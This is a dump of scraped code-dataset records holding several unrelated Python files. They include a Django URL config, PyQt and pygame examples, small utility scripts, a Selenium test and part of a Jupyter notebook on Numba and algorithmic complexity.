name=\"request-list\"),\n # url(r'^users/$', api.UserViewSet.as_view(), name=\"user-list\"),\n url(r'^requests_create/$', api.RequestListCreate.as_view(),\n name=\"request-list-create\"),\n url(r'^requests/(?P[0-9]+)/$', api.RequestDetail.as_view(),\n name=\"request-detail\"),\n url(r'^requests/performers/$', api.PerformersList.as_view(),\n name=\"performers-list\"),\n url(r'^requests/performer/(?P[0-9]+)/$', api.PerformerDetail.as_view(),\n name=\"performer-detail\"),\n url(r'^requests/performers-detail/$', api.PerformersListDetail.as_view(),\n name=\"performers-list-detail\"),\n url(r'^requests/performers-detail/(?P[0-9]+)/$',\n api.PerformerDetailReq.as_view(),\n name=\"performer-list-detail\"),\n\n\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)","sub_path":"request_rest_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"542611543","text":"# -*- coding: utf-8 -*-\nfrom PyQt4 import QtCore, QtGui\n\nclass MyWindow(QtGui.QWidget):\n def __init__(self, parent=None):\n QtGui.QWidget.__init__(self, parent)\n self.resize(600, 600)\n img = QtGui.QImage(\"NukeApp128\", \"PNG\")\n self.pix = QtGui.QBitmap.fromImage(img)\n m = QtGui.QMatrix()\n m.rotate(90.0)\n self.pix = self.pix.transformed(m)\n\n def paintEvent(self, e):\n painter = QtGui.QPainter(self)\n painter.drawPixmap(0, 0, self.pix)\n\nif __name__ == \"__main__\":\n import sys\n app = QtGui.QApplication(sys.argv)\n window = MyWindow()\n window.setWindowTitle(\"Класс QBitmap\")\n window.show()\n sys.exit(app.exec_())","sub_path":"140_gui/pyqt_pyside/examples/PyQt_PySide_book/006_Working with graphics/003_Working with Images/554. QBitmap_fromImage.py","file_name":"554. QBitmap_fromImage.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"175308086","text":"#arr max and average\n#denis chechelev RT5-51\ndef arr_min(array):\n if len(array) == 0:\n return -1\n minim = array[0]\n for x in array:\n current = x\n if current < minim:\n minim = current\n return minim\n\n\ndef arr_avg(array):\n if len(array) == 0:\n return -1\n summ = 0\n for x in array:\n summ += x\n return summ / len(array)\n \n \ndef main():\n array1 = [-999,666,13,47,-27.7,-0.000001]\n array2 = [] \n print(array1)\n print('Минимальное значение: ')\n print(arr_min(array1)) \n print('Среднее значение: ')\n print(arr_avg(array1))\n print(array2)\n print('Минимальное значение: ')\n print(arr_min(array2)) \n print('Среднее значение: ')\n print(arr_avg(array2))\n return 0\n\n\nprint (__name__)\nif __name__ == 'builtins': #builtins вместо __main__\n main()\n","sub_path":"lab2/arr_max_and_avg.py","file_name":"arr_max_and_avg.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"324198738","text":"import tensorflow as tf\nfrom onnx_tf.pb_wrapper import OnnxNode\n\n\nclass BackendTFModule(tf.Module):\n\n def __init__(self, handlers, opset, strict, graph_def, backend):\n super(BackendTFModule, self).__init__()\n self.handlers = handlers\n self.opset = opset\n self.strict = strict\n self.graph_def = graph_def\n self.backend = backend\n self.outputs = []\n\n @tf.function\n def gen_tensor_dict(self, input_dict_items):\n tensor_dict = dict(input_dict_items)\n\n for node in self.graph_def.node:\n onnx_node = OnnxNode(node)\n output_ops = self.backend._onnx_node_to_tensorflow_op(onnx_node,\n tensor_dict,\n self.handlers,\n opset=self.opset,\n strict=self.strict)\n curr_node_output_map = dict(zip(onnx_node.outputs, output_ops))\n tensor_dict.update(curr_node_output_map)\n\n return tensor_dict\n\n @tf.function\n def __call__(self, **kwargs):\n tensor_dict = kwargs\n\n if self.graph_def.initializer:\n input_dict_items = self.backend._onnx_initializer_to_input_dict_items(\n self.graph_def.initializer)\n else:\n input_dict_items = []\n\n tensor_dict.update(input_dict_items)\n\n for node in self.graph_def.node:\n onnx_node = OnnxNode(node)\n output_ops = self.backend._onnx_node_to_tensorflow_op(onnx_node,\n tensor_dict,\n self.handlers,\n opset=self.opset,\n strict=self.strict)\n curr_node_output_map = dict(zip(onnx_node.outputs, output_ops))\n tensor_dict.update(curr_node_output_map)\n\n outputs = [tensor_dict[output] for output in self.outputs]\n return outputs\n","sub_path":"onnx_tf/backend_tf_module.py","file_name":"backend_tf_module.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"575921733","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# File : utils.py\n# Author : bssthu\n# Project : eso_zh_ui\n# Description : 将 .txt 文件转换为 .str 文件。其中 .txt 文件是翻译过的 .lua 文件。\n# \n\n\ndef read_lua(file_path, name_values):\n with open(file_path, 'rt', encoding='utf-8') as fp:\n for line in fp.readlines():\n line = line.strip()\n if line.startswith('SafeAddString'):\n name = line.split('(', 1)[1].split(',', 1)[0].strip()\n value = line.split(',', 1)[1].rsplit(',', 1)[0].strip().strip('\"')\n version = line.rsplit(',', 1)[1].strip(')').strip()\n name_values[name] = (value, version)\n\n\ndef read_translate_txt(file_path, name_translation):\n with open(file_path, 'rt', encoding='utf-8') as fp:\n # 每一行 SafeAddString 的下一行可能是翻译\n is_origin = False\n last_name = ''\n for line in fp.readlines():\n line = line.strip()\n if line.startswith('SafeAddString'):\n name = line.split('(', 1)[1].split(',', 1)[0].strip()\n is_origin = True\n last_name = name\n elif is_origin and line != '':\n name_translation[last_name] = line\n is_origin = False\n\n\ndef read_translate_lang_csv(file_path, mode):\n count_translated = 0\n lang_translate = []\n with open(file_path, 'rt', encoding='utf-8') as fp:\n header = fp.readline()\n is_origin = False # 读到了原文(否则读到了翻译)\n for line in fp.readlines():\n if is_origin and (not line.startswith('\"')):\n is_origin = False\n count_translated += 1\n text_zh = line.strip().replace('\"', '').replace(\"'\", '')\n # apply translation\n if mode == 'origin':\n pass # keep origin\n elif mode == 'translation':\n lang_translate[-1][1] = text_zh\n else:\n # both translation and origin\n if text_zh != lang_translate[-1][1]:\n lang_translate[-1][1] = r'%s\\n%s' % (text_zh, lang_translate[-1][1])\n else:\n a, b, c, d, text_en = line.strip().split(',', 4)\n info = (a, b, c, d)\n lang_translate.append([info, text_en.strip().strip('\"')])\n is_origin = True\n return header, lang_translate, count_translated\n","sub_path":"scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"329527382","text":"import pygame,sys\nfrom pygame.locals import *\n#La clase Proyectil\n#hereda a partir de la clase Sprite de pygame\nclass Proyectil(pygame.sprite.Sprite):\n\n #Constructor\n def __init__(self, posX, posY, ruta, personaje):\n pygame.sprite.Sprite.__init__(self)\n #dependiendo del objeto es la ruta de la imagen a cargar\n self.Img = pygame.image.load(ruta)\n\n #Se asigna a la imagen un rectangulo\n self.rect = self.Img.get_rect()\n self.velocidadDisparo= 1\n self.rect.top = posY\n self.rect.left = posX\n\n self.disparoPersonaje = personaje\n\n #trayectoria que sigue el proyectil\n def trayectoria(self):\n if self.disparoPersonaje == \"N\": #Nave Espacial\n self.rect.top = self.rect.top - self.velocidadDisparo\n elif self.disparoPersonaje == \"I\": #Invasor\n self.rect.top = self.rect.top + self.velocidadDisparo\n\n\n def dibujar(self,superficie):\n superficie.blit(self.Img, self.rect)\n","sub_path":"pygame/naveEspacial/clases/Proyectil.py","file_name":"Proyectil.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"348508774","text":"import re\nimport os\nimport csv\n\n\nSRC_PATH = '../../code-quality-benchmark/src/'\n\nresults = []\n\nselected_metric_output_path = 'loc-metric/loc_metric_results.csv'\n\n\ndef get_clean_result_object():\n return {\n \"file_name\": '',\n \"human_assessment\": 0,\n \"metric_before\": 0,\n \"metric_after\": 0,\n \"metric_correct\": 0,\n \"metric_bad\": 0,\n \"metric_same\": 0\n }\n\n\ndef calc_metric(file):\n counter = 0\n for x in file:\n counter += 1\n return counter\n\n\ndef process_result(single_result):\n single_result['metric_correct'] = 1 if single_result['metric_before'] > single_result['metric_after'] else 0\n single_result['metric_bad'] = 1 if single_result['metric_before'] < single_result['metric_after'] else 0\n single_result['metric_same'] = 1 if single_result['metric_before'] == single_result['metric_after'] else 0\n\n\ndef convert_to_csv_and_save():\n metric_results_file = open(selected_metric_output_path, 'w', newline='')\n csvwriter = csv.writer(metric_results_file)\n csvwriter.writerow(results[0].keys())\n print(results)\n for single_result in results:\n csvwriter.writerow(single_result.values())\n metric_results_file.close()\n\n\ndef list_all_files():\n for r, d, f in os.walk(SRC_PATH):\n counter = 0\n current_search = get_clean_result_object()\n for file in f:\n if counter == 2:\n counter = 0\n process_result(current_search)\n results.append(current_search)\n # print(current_search)\n current_search = get_clean_result_object()\n counter += 1\n read_file(SRC_PATH + file, file, current_search)\n process_result(current_search)\n results.append(current_search)\n\n\ndef set_human_assessment(file, line, file_name, current_search):\n is_after = re.search(r'after', line)\n is_better = re.search(r'Better', file_name)\n if is_after and is_better:\n current_search['human_assessment'] = 1\n metric = calc_metric(file)\n if is_after:\n current_search['metric_after'] = metric\n else:\n current_search['metric_before'] = metric\n\n\ndef read_file(file_path, file_name, current_search):\n with open(file_path, 'r', encoding='utf8') as file:\n line = file.readline()\n original_file_name = re.search(r'\\d{8}.txt', line).group(0)\n current_search['file_name'] = original_file_name\n set_human_assessment(file, file.readline(), file_name, current_search)\n\n\nlist_all_files()\nconvert_to_csv_and_save()\n","sub_path":"src/loc-metric.py","file_name":"loc-metric.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"118294774","text":"#\r\n# @lc app=leetcode id=202 lang=python3\r\n#\r\n# [202] Happy Number\r\n#\r\n# https://leetcode.com/problems/happy-number/description/\r\n#\r\n# algorithms\r\n# Easy (44.35%)\r\n# Likes: 825\r\n# Dislikes: 201\r\n# Total Accepted: 228K\r\n# Total Submissions: 507K\r\n# Testcase Example: '19'\r\n#\r\n# Write an algorithm to determine if a number is \"happy\".\r\n#\r\n# A happy number is a number defined by the following process: Starting with\r\n# any positive integer, replace the number by the sum of the squares of its\r\n# digits, and repeat the process until the number equals 1 (where it will\r\n# stay), or it loops endlessly in a cycle which does not include 1. Those\r\n# numbers for which this process ends in 1 are happy numbers.\r\n#\r\n# Example: \r\n#\r\n#\r\n# Input: 19\r\n# Output: true\r\n# Explanation:\r\n# 1^2 + 9^2 = 82\r\n# 8^2 + 2^2 = 68\r\n# 6^2 + 8^2 = 100\r\n# 1^2 + 0^2 + 0^2 = 1\r\n#\r\n#\r\n\r\n\r\nclass Solution:\r\n def isHappy(self, n: int) -> bool:\r\n def getNumSum(n):\r\n ans = 0\r\n while n:\r\n ans += math.pow(n % 10, 2)\r\n n //= 10\r\n return ans\r\n rep = [False for _ in range(1000)]\r\n n = int(getNumSum(n))\r\n while not rep[n]:\r\n rep[n] = True\r\n if n == 1:\r\n return True\r\n n = int(getNumSum(n))\r\n return False\r\n","sub_path":"leetcode-algorithms/202. Happy Number/202.happy-number.py","file_name":"202.happy-number.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"502294478","text":"# -*- coding:UTF8 -*-\nimport unittest\nfrom selenium import webdriver\nimport time\nfrom case.login_in import login\nfrom common.util import explicit_wait as etwait, export_path, time_limit\nfrom common import settings\nimport os\nfrom selenium.webdriver.chrome.options import Options\n\noptions = Options()\noptions.debugger_address = '127.0.0.1:8001'\n\nsettings.create_dir()\npict_path = settings.pictsave_path()\n\nclass Agent_real_time_status(unittest.TestCase):\n u\"\"\"坐席实时监控\"\"\"\n\n @classmethod\n def setUpClass(self):\n self.driver = webdriver.Chrome(options=options)\n self.driver.implicitly_wait(10)\n # login(self.driver)\n\n @classmethod\n def tearDownClass(self):\n self.driver.quit()\n\n def test01full_screen(self):\n u\"\"\"设置全屏\"\"\"\n # 进入客户信息目录\n # etwait(self.driver, 10, 'xpath', '//a[contains(text(),\"监控管理\")]').click()\n # 进入坐席实时状态菜单\n etwait(self.driver, 10, 'xpath', '//a[text()=\"坐席实时状态\"]').click()\n # 切换iframe窗口\n frame1 = self.driver.find_element_by_css_selector('.iframeClass')\n self.driver.switch_to.frame(frame1)\n # 设置全屏\n client_width1 = self.driver.execute_script(\"return document.body.clientWidth\")\n client_height1 = self.driver.execute_script(\"return document.body.clientHeight\")\n etwait(self.driver, 30, 'id', 'quanpinbt').click()\n client_width2 = self.driver.execute_script(\"return document.body.clientWidth\")\n client_height2 = self.driver.execute_script(\"return document.body.clientHeight\")\n # 判断用例是否通过\n if client_width1 > client_width2 and client_height1 > client_height2:\n pass\n else:\n self.driver.save_screenshot(pict_path + 'agent_real-time_status_full_screen.png')\n self.assertNotEqual(client_width1, client_width2)\n self.assertNotEqual(client_height1, client_height2)\n\n def test02query(self):\n self.driver.find_element_by_id('company').click()\n etwait(self.driver, 30, 'xpath', '//*[@id=\"io01000310001\"]/td[1]/input').click()\n time.sleep(0.5)\n self.driver.find_element_by_xpath('/html/body/div[4]/div[3]/a[1]').click()\n self.driver.find_element_by_id('fenji').send_keys(89100497)\n self.driver.find_element_by_id('gonghao').send_keys(4867)\n self.driver.find_element_by_xpath('//*[@id=\"test\"]/div[1]/div[2]/div[2]/div[1]/div/div').click()\n etwait(self.driver, 30, 'xpath', '//*[@id=\"test\"]/div[1]/div[2]/div[2]/div[1]/div/div/dl/dd[2]').click()\n self.driver.find_element_by_id('zuowei').send_keys(89100497)\n self.driver.find_element_by_xpath('//*[@id=\"test\"]/div[1]/div[2]/div[2]/div[4]/label').click()\n # ele1 = self.driver.\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)","sub_path":"case/monitoring_management/agent_real-time_status_case.py","file_name":"agent_real-time_status_case.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"19063790","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.6.0\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# # Performance Frameworks\n\n# ## Motivation\n\n# ### Not all algorithms are created equal\n\n# \n\n# ### Questions: How do you develop performant programs in the least amount of time?\n\n# - Reduce development Time\n# - Improve performance Time\n\n# ## Overview\n\n# 1. Graph Databases & PyTorch (Simon)\n# 2. Slurm (Giovanni)\n# 3. Snakemake (Giovanni)\n# 4. Numba (Robin)\n# 5. Dask (Robin)\n\n# # Tensorflow / PyTorch\n\n\n\n\n# # Network Architectures\n\n\n\n\n# # Slurm\n\n# ## Managing Jobs\n\n# Continuous monitoring of Slurm jobs (automatically updates every 2 sec):\n# ```bash\n# watch squeue -u rccg\n# ```\n\n# ## Submitting Jobs\n\n# ### General Intro\n\n\n\n\n# ### Snake\n\n\n\n\n# # A brief note on performance in Python\n\n# ## Not all algorithms are created equal\n\n# \n\n# ## Questions: How do you develop performant programs in the least amount of time?\n\n# - Reduce development Time\n# - Improve performance Time\n\n# We all have heard it:\n# - Python is *too slow!*\n# - Python cannot replace Fortran or C\n\n# ## Performance differences within Python\n\n# ### Slow Python\n\n# Writing code as if it was C\n\n# - Loops\n# - Accessing Data\n# - Appending Data\n\n# #### Why are these slow?\n\n# Loops\n\n# - Python interpreter goes line-by-line\n# - Therefore, no loop unrolling\n# - With GIL execution of each iteration sequential\n\n# Accessing Data\n\n# - Lists, Dictionaries, etc. allow for mixed types\n# - This means, they structures of pointers rather than the data itself\n# - The data might not be contiguous in memory\n# - This leads to memory jumping and cache misses\n\n# Appending Data\n\n# - Dictionaries, etc. are initialized with a fixed size\n# - If new data gets appended, this might cause an implicit copy\n\n# ## Introduction to Asymptotic Analysis\n\n# ### Big O Notation\n\n# Big O - or $\\mathcal{O}(n)$ - refers to the *worst-case scaling* with size $n$.\n\n# All coefficients or smaller components are not to be included\n\n# \n#\n# https://www.bigocheatsheet.com/\n\n# $$ \\mathcal{O}(N) + \\mathcal{O}(\\log N) = \\mathcal{O}(N + \\log N) = \\mathcal{O}(N) $$\n\n# ### Big Theta Notation\n\n# Big $\\Theta$ - or $\\mathcal{\\Theta}(n)$ - refers to the *average-case scaling* with size $n$.\n\n# ### Omega Notation\n\n# Big $\\Omega$ - or $\\mathcal{\\Omega}(n)$ - refers to the *best-case scaling* with size $n$.\n\n# ### Notes\n\n# Obviously, these are simplified.\n#\n# For a deep dive into asymptotic analysis see: https://cathyatseneca.gitbooks.io/data-structures-and-algorithms/content/analysis/notations.html\n#\n# (it is also a great course on data structures and algorithms!)\n\n# ## Intrinsic Object Types\n\n# ### Python Object Complexity\n#\n# https://wiki.python.org/moin/TimeComplexity\n#\n# https://www.ics.uci.edu/~pattis/ICS-33/lectures/complexitypython.txt\n\n# #### Lists\n\n# | Operation | Example | Best or Average Case | Worst Case | Note |\n# |------------------|--------------|--------------|----------------------|----------------------------|\n# | Copy | `l.copy()` | O(n) | O(n) | Same as l[:] which is O(N) |\n# | Append | `l.append(5)` | O(1) | O(1) | |\n# | Pop last | `l.pop()` | O(1) | O(1) | same as l.pop(-1), popping at end |\n# | Pop intermediate | `l.pop(n-k)` | O(k) | O(k) | |\n# | Pop first | `l.pop(0)` | O(n) | O(n) | |\n# | Insert | `l[a:b] = ...` | O(n) | O(n) | |\n# | Get Item | `l[i]` | O(1) | O(1) | |\n# | Set Item | `l[i] = 0` | O(1) | O(1) | |\n# | Iteration | `for v in l:` | O(n) | O(n) | |\n# | Get Slice (k=b-a)| `l[a:b]` | O(k) | O(k) | `l[1:5]:O(l)/l[:]:O(len(l)-0)=O(N)` |\n# | Del Slice (k=b-a)| | O(n) | O(n) | |\n# | Delete Item | `del l[i]`/`l.remove(a)` | O(n) | O(n) | |\n# | Set Slice | | O(k+n) | O(k+n) | |\n# | Extend (by k) | `l.extend(k)` | O(len(k)) | O(len(k)) | depends only on len of extension |\n# | Sort | `l.sort()` | O(n log n) | O(n log n) | key/reverse doesn't change this |\n# | Multiply | `k*l` | O(nk) | O(nk) | `5*l is O(N): len(l)*l is O(N**2)` |\n# | min(s), max(s) | `min(l)/max(l)| O(n) | O(n) | |\n# | Get Length | `len(l)` | O(1) | O(1) | |\n# | Reverse | `l.reverse() | O(n) | O(n) | |\n# | Containment | x `in`/`not in` l | | O(n) | searches list |\n# | Clear | `l.clear()` | O(1) | similar to l = [] | Deferred garbage collection |\n# | Construction | `list(...)` | O(n) | O(n) | depends on length of argument\n# | check `==`, `!=` | `l1 == l2` | O(n) |\n# | Remove | `l.remove(...)`| | On) | \n\n# #### Sets\n\n# | Operation | Example | Best or Average case | Worst Case | notes |\n# |-------------------------------------|--------------|-----------------------|--------------------|--------------------------------------------|\n# | Containment | x in s | O(1) | O(n) | compare to list/tuple - O(n) |\n# | Length | len(s) | O(1) | O(1) | |\n# | Add | s.add(a) | O(1) | O(1) |\n# | Remove | s.remove(a) | O(1) | O(1) | compare to list/tuple - O(N)\n# | Discard | s.discard(a) | O(1) | O(1) | \n# | Pop | s.pop() | O(1) | O(1) | compare to list - O(N)\n# | Clear | s.clear() | O(1) | O(1) | similar to s = set()\n# | Construction | set(n) | O(n) | O(n) |\n# | check ==, != | s != t | O(min(len(s),lent(t)) | O(n) |\n# | <=/< | s <= t | O(len(s1)) | O(n) | issubset \n# | >=/> | s >= t | O(len(s2)) | O(n) | issuperset s <= t == t >= s\n# | Union | `s | t` | O(len(s)+len(t)) | O(len(s)+len(t)) | |\n# | Intersection | `s & t` | O(min(len(s), lent(t))| O(len(s) * len(t)) | replace \"min\" with \"max\" if t is not a set |\n# | Multiple intersection | `s1&s2&..&sn`| | `(n-1)*O(l)` | l is max(len(s1),..,len(sn)) |\n# | Difference | s - t | | O(len(t)) | | |\n# | Symmetric Diff | s ^ t | O(len(s)) | O(len(s) * len(t)) | \n# | Iteration | for v in s: | O(N) |\n# | Copy | s.copy() | O(N) |\n\n# #### Dicts\n\n# | Operation | Example | Average Case | Amortized Worst Case |\t \n# | -------------|------------------------|--------------|----------------------| \n# | Copy | `d.copy()` | O(n) | O(n) |\n# | Get Item | `d[k]` | O(1) | O(n) |\n# | Set Item | `d[k]=v` | O(1) | O(n) |\n# | Delete Item | `del d[k]` | O(1) | O(n) |\n# | Iteration | `for k,v in d.items()` | O(n) | O(n) |\n#\n\n# # Numba\n\n# - just-in-time (JIT) compiler for Python\n# - works with: NumPy arrays, functions, and loops\n# - used with simple decorators\n# - with these \"all or part of your code can \\[...\\] run at native machine code speed!\"\n\n# ```bash\n# conda install numba\n# ```\n#\n# ```bash\n# pip install numba\n# ```\n\n# ## Just-in-Time Compilation\n\n# ### The @jit decorator\n\ndef go_slow(a):\n trace = 0.0\n for i in range(a.shape[0]):\n trace += np.tanh(a[i, i])\n return a + trace\n\n\nfrom numba import jit\nimport numpy as np\n\n\n@jit(nopython=True) # Set \"nopython\" mode for best performance, equivalent to @njit\ndef go_fast(a): # Function is compiled to machine code when called the first time\n trace = 0.0\n for i in range(a.shape[0]): # Numba likes loops\n trace += np.tanh(a[i, i]) # Numba likes NumPy functions\n return a + trace # Numba likes NumPy broadcasting\n\n\nN = 100\ngrid_size = (N, N)\n\n\ndef setup(grid_size):\n return np.random.rand(np.prod(grid_size)).reshape(grid_size)\n\n\nx = setup(grid_size)\n_ = go_fast(x)\n\n# %%timeit x = setup(grid_size)\n_ = go_slow(x)\n\n# %%timeit x = setup(grid_size)\n_ = go_fast(x)\n\n# ### How fast can it be?\n\n# - targets compilation to specific CPU\n# - \"speed up varies depending on application\"\n# - generally \"can be one to two orders of magnitude\" to C\n\n# ## Ahead-of-Time Compilation (Eager Compilation)\n\n# Using signatures, declaring the function leads to compilation!\n\n# Format: `OutputType[shapes](InputType1[shapes1], InputType2[shapes2], ....)`\n\n# - `void` is the return type of functions returning nothing (which actually return None when called from Python)\n# - `intp` and `uintp` are pointer-sized integers (signed and unsigned, respectively)\n# - `intc` and `uintc` are equivalent to C int and unsigned int integer types\n# - `int8`, `uint8`, `int16`, `uint16`, `int32`, `uint32`, `int64`, `uint64` are fixed-width integers of the corresponding bit width (signed and unsigned)\n# - `float32` and `float64` are single- and double-precision floating-point numbers, respectively\n# - `complex64` and `complex128` are single- and double-precision complex numbers, respectively\n# - array types can be specified by indexing any numeric type, e.g. `float32[:]` for a one-dimensional single-precision array or `int8[:,:]` for a two-dimensional array of 8-bit integers.\n#\n# For up-to-date version see: https://numba.pydata.org/numba-doc/latest/user/jit.html#signature-specifications\n\n# ### Example\n\nimport numba as nb\n\n\n@jit(nb.float64[:,:](nb.float64[:, :]), nopython=True) # Set \"nopython\" mode for best performance, equivalent to @njit\ndef go_fast(a): # Function is compiled to machine code when called the first time\n trace = 0.0\n for i in range(a.shape[0]): # Numba likes loops\n trace += np.tanh(a[i, i]) # Numba likes NumPy functions\n return a + trace # Numba likes NumPy broadcasting\n\n\n# %%timeit x = setup(grid_size)\n_ = go_fast(x)\n\n# ## JIT kwargs\n\n# `nopython=True`\n# - uses only numba objects\n\n# `nogil=True`\n# - removes the Global Interpreter Lock (GIL) restrictions when only using Numba objects\n# - allows concurrent execution therefore advantage of multiple cores\n# - requires `nopython=True`\n\n# `cache=True`\n# - saves the compiled code for future use\n\n# `parallel=True`\n\n# - automatic parallelization\n# - requires `nopython=True`\n# - supported operations: https://numba.pydata.org/numba-doc/latest/user/parallel.html#numba-parallel\n\n# ## Decorators provided:\n\n# - `@njit` - this is an alias for `@jit(nopython=True)` as it is so commonly used!\n# - `@vectorize` - produces NumPy ufunc s (with all the ufunc methods supported).\n# - `@guvectorize` - produces NumPy generalized ufunc s.\n# - `@stencil` - declare a function as a kernel for a stencil like operation.\n# - `@jitclass` - for jit aware classes.\n# - `@cfunc` - declare a function for use as a native call back (to be called from C/C++ etc).\n# - `@overload` - register your own implementation of a function for use in nopython mode, e.g. @overload(scipy.special.j0).\n#\n# https://numba.pydata.org/numba-doc/latest/user/5minguide.html\n\n# Extra options available in some decorators:\n# - `parallel = True` - enable the automatic parallelization of the function.\n# - `fastmath = True` - enable fast-math behaviour for the function.\n\n# ### Stencil\n\n# Using the 2D Finite Difference Kernel as an example\n\ncoeffs = np.array([[0, 1, 0], [1, -4, 1], [0, 1, 0]])\n\n# We will use periodic boundary conditions\n\n# #### Using Stencil decorator\n\ngrid_size = (4096, 4096)\n\nfrom numba import stencil\n\n\n@stencil\ndef grad_stencil(arr):\n return arr[-1, 0] + arr[0, -1] + arr[0, 1] + arr[1, 0] - 4*arr[0, 0]\n\n\n# %%timeit a = setup(grid_size)\narr = grad_stencil(np.pad(a, 1, 'wrap'))[1:-1, 1:-1]\n\n# #### Comparing to Scipy\n\nimport scipy.signal\n\n# %%timeit a = setup(grid_size)\narr = scipy.signal.convolve2d(np.pad(a, 1, 'wrap'), coeffs)[2:-2, 2:-2]\n\na = setup(grid_size)\narr_nb = grad_stencil(np.pad(a, 1, 'wrap'))[1:-1, 1:-1]\narr_scipy = scipy.signal.convolve2d(np.pad(a, 1, 'wrap'), coeffs)[2:-2, 2:-2]\nassert np.allclose(arr_nb, arr_scipy), f\"Failed with max error: {np.max(np.abs(arr_nb - arr_scipy))}\"\n\n# #### Speeding up Stencil\n\nfrom numba import jit\n\n\n@jit\ndef grad_stencil_wrapped(arr):\n \"\"\"simply apply the stencil\"\"\"\n return grad_stencil(arr)\n\n\narr_nb = grad_stencil_wrapped(np.pad(a, 1, 'wrap'))[1:-1, 1:-1]\nassert np.allclose(arr_nb, arr_scipy), f\"Failed with max error: {np.max(np.abs(arr_nb - arr_scipy))}\"\n\n# %%timeit a = setup(grid_size)\narr = grad_stencil_wrapped(np.pad(a, 1, 'wrap'))[1:-1, 1:-1]\n\n\n@jit(nopython=True, nogil=True, parallel=True)\ndef grad_stencil_wrapped_ops(arr):\n \"\"\"simply apply the stencil\"\"\"\n return gradient2d(arr)\n\n\narr_nb = grad_stencil_wrapped_ops(np.pad(a, 1, 'wrap'))[1:-1, 1:-1]\nassert np.allclose(arr_nb, arr_scipy), f\"Failed with max error: {np.max(np.abs(arr_nb - arr_scipy))}\"\n\n# %%timeit a = setup(grid_size)\narr = grad_stencil_wrapped_ops(np.pad(a, 1, 'wrap'))[1:-1, 1:-1]\n\n\n# #### Numpy vectorized\n\ndef grad_np(a):\n padded = np.pad(a, 1, 'wrap')\n arr_np = (\n padded[0:-2, 1:-1] # above\n + padded[1:-1, 0:-2] # left\n -4 * padded[1:-1, 1:-1] # center\n + padded[1:-1, 2:] # right\n + padded[2:, 1:-1] # below\n )\n return arr_np\n\n\narr_np = grad_np(a)\nassert np.allclose(arr_np, arr_scipy), f\"Failed with max error: {np.max(np.abs(arr_np - arr_scipy))}\"\n\n# %%timeit a = setup(grid_size)\ngrad_np(a)\n\n\n# #### Numpy vectorized with Nuba\n\n@jit(nopython=True, nogil=True, parallel=True)\ndef grad_np_numba(padded):\n return (\n padded[0:-2, 1:-1] # above\n + padded[1:-1, 0:-2] # left\n -4 * padded[1:-1, 1:-1] # center\n + padded[1:-1, 2:] # right\n + padded[2:, 1:-1] # below\n )\n\n\narr_nb = grad_np_numba(np.pad(a, 1, 'wrap'))\nassert np.allclose(arr_nb, arr_scipy), f\"Failed with max error: {np.max(np.abs(arr_nb - arr_scipy))}\"\n\n# %%timeit a = setup(grid_size)\narr = grad_np_numba(np.pad(a, 1, 'wrap'))\n\n# ## Performance Plots!\n\n# Plot performance of various versions with scaling\n#\n# Python module: [perfplot](https://github.com/nschloe/perfplot)\n# - `pip install perfplot`\n\nimport perfplot\n\n# %%time\nperfplot.show(\n setup=lambda n: setup((n, n)), # or setup=numpy.random.rand\n kernels=[\n lambda a: grad_stencil(np.pad(a, 1, 'wrap'))[1:-1, 1:-1],\n lambda a: scipy.signal.convolve2d(np.pad(a, 1, 'wrap'), coeffs)[2:-2, 2:-2],\n lambda a: grad_stencil_wrapped(np.pad(a, 1, 'wrap'))[1:-1, 1:-1],\n lambda a: grad_stencil_wrapped_ops(np.pad(a, 1, 'wrap'))[1:-1, 1:-1],\n lambda a: grad_np(a),\n lambda a: grad_np_numba(np.pad(a, 1, 'wrap'))\n ],\n labels=[\"stencil\", \"scipy\", \"stencil_wrapped\", \"stencil_wrapped_ops\", \"numpy\", \"numpy_numba\"],\n n_range=[2 ** k for k in range(3, 15)],\n xlabel=\"(n, n)\",\n # More optional arguments with their default values:\n # title=None,\n logx=\"auto\", # set to True or False to force scaling\n logy=\"auto\",\n equality_check=np.allclose, # set to None to disable \"correctness\" assertion\n show_progress=True,\n # colors=None,\n # target_time_per_measurement=1.0,\n # time_unit=\"s\", # set to one of (\"auto\", \"s\", \"ms\", \"us\", or \"ns\") to force plot units\n # relative_to=1, # plot the timings relative to one of the measurements\n # flops=lambda n: 3*n, # FLOPS plots\n)\n\n# ### Vectorization\n\nfrom numba import vectorize\n\n\n@vectorize([\"float32(float32, float32)\", \"float64(float64, float64)\"], target='parallel')\ndef add_parallel(a, b):\n return a+b\n\n\n# #### Overhead makes it useless for small scales\n\nN = 128\ngrid_size = (N, N)\n\na, b, = setup(grid_size), setup(grid_size)\nreference = a + b\n\nab_vec_parallel = add_parallel(a, b)\nassert np.allclose(ab_vec_parallel, reference), f\"Failed with max error: {np.max(np.abs(ab_vec_parallel - reference))}\"\n\n# %%timeit a, b, = setup(grid_size), setup(grid_size)\n_ = 